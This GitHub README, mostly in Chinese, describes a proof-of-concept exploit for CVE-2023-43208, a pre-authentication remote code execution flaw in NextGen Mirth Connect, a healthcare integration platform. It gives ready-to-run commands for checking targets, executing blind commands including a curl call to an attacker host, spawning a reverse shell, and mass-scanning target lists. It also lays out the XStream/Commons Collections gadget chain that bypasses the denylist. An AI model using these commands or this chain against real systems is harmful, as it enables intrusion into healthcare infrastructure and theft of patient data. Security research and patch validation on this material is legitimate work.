kyakei/CVE-2023-43208
GitHub: kyakei/CVE-2023-43208
针对 NextGen Mirth Connect 医疗集成平台的认证前远程代码执行漏洞 PoC,通过 XStream 反序列化绕过黑名单机制实现无认证攻击。
Stars: 2 | Forks: 1
# CVE-2023-43208 — Mirth Connect 认证前远程代码执行 (RCE)
**NextGen Healthcare Mirth Connect < 4.4.1** 中通过 XStream 反序列化绕过实现的认证前远程代码执行。
## 概述
Mirth Connect 使用 Java XStream 库在 `/api/users` 端点上**无需认证**即可反序列化 XML 载荷。最初的修复 (CVE-2023-37679) 引入了危险类的黑名单机制,但通过结合 Apache Commons Lang3 中的 `EventBindingInvocationHandler` 和 Commons Collections4 的 `InvokerTransformer` 链成功绕过了该限制。
Mirth Connect **4.4.1** 版本通过从黑名单切换到白名单修复了此问题。
## 环境要求
```
pip install requests
```
Python 3.10+ (使用了 `match` 语句)。
## 使用方法
### 检查目标是否存在漏洞
```
python3 exploit.py check -t https://target:8443
```
### 执行命令 (盲 RCE — 无输出)
```
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
```
### 弹出反向 Shell
```
# 终端 1 (或让 script 处理 listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# 为了获得更好的 shell 体验,请使用 rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
```
### 扫描多个目标
```
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
```
## 攻击链
```
POST /api/users (no auth)
│
▼
XStream deserializes XML payload
│
▼
sorted-set triggers Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", )
│
▼
OS command execution as Mirth Connect service user
```
## 免责声明
本工具仅供**授权安全测试和教育目的**使用。未经授权访问计算机系统是非法行为。在测试前请务必获取适当的授权。
## 参考
- [NVD — CVE-2023-43208](https://nvd.nist.gov/vuln/detail/CVE-2023-43208)
- [Horizon3.ai — 文章](https://www.horizon3.ai/attack-research/disclosures/nextgen-mirth-connect-pre-auth-rce-cve-2023-43208/)
- [CISA KEV 目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
标签:Apache Commons, Blind RCE, CISA项目, CTF学习, CVE-2023-43208, GetShell, GHAS, Java安全, Mirth Connect, NextGen Healthcare, PoC, Python, RCE, Web报告查看器, XStream, 内网渗透, 反序列化漏洞, 安全测试, 攻击性安全, 无后门, 无服务器架构, 暴力破解, 白名单绕过, 编程工具, 远程代码执行, 预认证